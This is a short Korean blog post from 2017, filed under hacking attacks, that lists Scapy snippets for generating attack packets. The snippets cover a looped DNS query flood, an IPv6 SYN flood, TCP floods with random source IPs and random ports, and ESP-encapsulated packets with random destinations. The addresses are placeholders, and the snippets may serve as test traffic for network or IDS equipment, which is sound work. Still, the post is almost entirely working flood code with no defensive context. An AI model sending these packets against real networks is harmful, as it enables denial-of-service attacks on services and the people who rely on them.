해킹 공격

scapy 공격 패킷 생성

jinkwon.kim 2017. 1. 5. 11:31
728x90
반응형

scapy 공격 패킷 생성 


DNS 관련

conf.iface = "eth1" 

a = Ether()/IP(src="1.1.1.1",dst="2.2.2.2")/UDP(sport=1111,dport=53)/DNS(rd=1,qd=DNSQR(qname="www.daum.net"))

sendp(a, loop=1)


IPv6 Synflooding

conf.iface = "eth1"

pkt=Ether(src='00:0D:48:29:74:1D', dst='00:0D:48:29:74:2D')/IPv6(src='1::1',dst='1::2')/TCP(flags='S',sport=32768)


IPv4 Random IP 패킷 생성

conf.iface='eth1'

pkt2=Ether(dst='ff:ff:ff:ff:ff:ff')/IP(src=RandIP(), dst=RandIP())/TCP(flags='PA')/"testurl"

sendp(pkt2, count=100)


IPv4 Random Port 패킷 생성

pkt=Ether()/IP(src='1.1.1.1', dst ='2.2.2.2')/TCP(dport=range(1, 1024))

sendp(pkt, count=1000)


IPv6 Random IP 패킷 생성

conf.iface = "eth1"

pkt1=Ether(dst='ff:ff:ff:ff:ff:ff')/IPv6(src=RandIP6("1::*"),dst=RandIP6("2::*"))/TCP(flags='S')

sendp(pkt1, count=100)


ESP IPv4 Random IP 패킷 생성

pkt=Ether()/IP(src='10.10.10.10', dst='20.20.20.20')/ESP()/IP(src='2.2.2.2', dst=RandIP(), len=40)/TCP(flags='PA')/'\x00\x04\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'


ESP IPv6 Random IP 패킷 생성

pkt=Ether()/IP(src='10.10.10.10', dst='20.20.20.20')/ESP()/IPv6(src='1::1', dst=RandIP6("1::*"), plen=40)/TCP(flags='PA')/'\x00\x04\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'



728x90
반응형